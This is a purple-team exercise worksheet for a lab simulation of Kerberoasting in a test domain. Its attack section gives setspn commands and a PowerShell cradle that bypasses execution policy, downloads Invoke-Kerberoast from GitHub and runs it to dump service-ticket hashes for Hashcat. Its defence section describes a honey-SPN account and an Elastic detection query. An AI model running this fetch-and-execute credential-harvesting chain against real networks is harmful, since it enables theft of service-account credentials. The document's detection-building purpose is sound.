Purple Team Lifecycle

PB1170 - Kerberoasting

Lifecycle Project Mana	
Jordan Drysdale	Simulation Start: 2/3/2021 Simulation Finds 2///2021
Office: 777.777.7777	 Simulation End: 2/6/2021 Configuration Identified: 11/29/2020
Mobile: 888.888.8888	Change Management Referred: 2/6/2021
Email: jordan@defensiv	
 Status Code Legend Attack Simulation Defense Simulation 	 System Configuration Change Information
APT Lifecycle Ingest and Research	 Lifecycle Type: Attack Simulation Lifecycle Objective: Detection / Alerting Ingest Source: Webcast / InfoSec Chatter https://attack.mitre.org/techniques/T1558/003/
	 Identify the ingest/intended attack and/or defense techniques. Define source of technique and type of ingest: Tim Medin's webcast on attack: https://www.youtube.com/watch?v=IBeUz7zMN24
	The Kerberoast attack has been used to gather credential materials (hashes) for service accounts with registered SPNs. Hackers can then crack the hashes offline to recover usable credentials (often privileged accounts).
Attack methodology	Attack Methodology Test
	# Add an SPN to an account then query for all records
	setspn -a ws01/luis.graves.labs.local:1433 labs.local\luis.graves
	setspn -T labs.local -Q */*
	# From command prompt # Instantiate powershell.exe, cradle the kerberoast module, run it, and output to Hashcat
	powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object
	Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master
	<pre>/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat</pre>
	# Cleaner output than command
	powershell -ep bypass
	# Do the same thing done previously, cleaner
	IEX (New-Object
	Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master
	Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master /data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat Select-Object Hash Out-File -filepath

Defense methodology	Defense Methodology Test
	 Use an account as a Honey-SPN target. Anytime the account gets enumerated, trigger responses.
	Implement lengthy and randomized passwords for service accounts.
	Check SIGMA rules and Elastalert by selecting the elastalert_status-* index in Kibana after performing the attack.
	Apply standard methodology for hunting IOCs.
	The Elastic query below was found to be reliable in producing the result set the defensive operations team was hoping to discover with this lifecycle.
	 ticket_encryption_type : "0x17" and NOT service_ticket_name : krbtgt and service_ticket_name : "luis.graves" and event_id : 4769
Lifecycle Adjustments	 Configure SPN on account of choice. This account will then be tuned and monitored closely. Any Kerberos related activity on this account should warrant IR.
	 This effort may require additional stakeholders to make alerting / notifications operations
Change Management	Systems Requiring Configuration Change: Logging / Alerting Infrastructure
	 Accounts Requiring Configuration Change: labs.local\glen.shaw
	 Justification for change: Improve detections for modern attacks (Kerberoasting)
	 Affected Users: None at this time, Glen.Shaw was created intentionally as honey account. HR and Finance departments may lose access to global databases.
	 Identified Key Parties: IT Operations primarily. May impact SQL databases where accounts with SPNs are running and their passwords get changed.
	• Potential issues: If services do not restart on account change, kick in roll back procedure.
	 Deployment Procedure: Update account passwords, deploy Glen.Shaw
	Rollback Procedure: Use previously documented account passwords via password manager history viewer.
Lessons Learned	Kerberoasting can result in privilege escalation if passwords are sufficiently weak
	 Best detection for this attack is a honey account
	 Password changes can be a challenge, and documentation is critical to success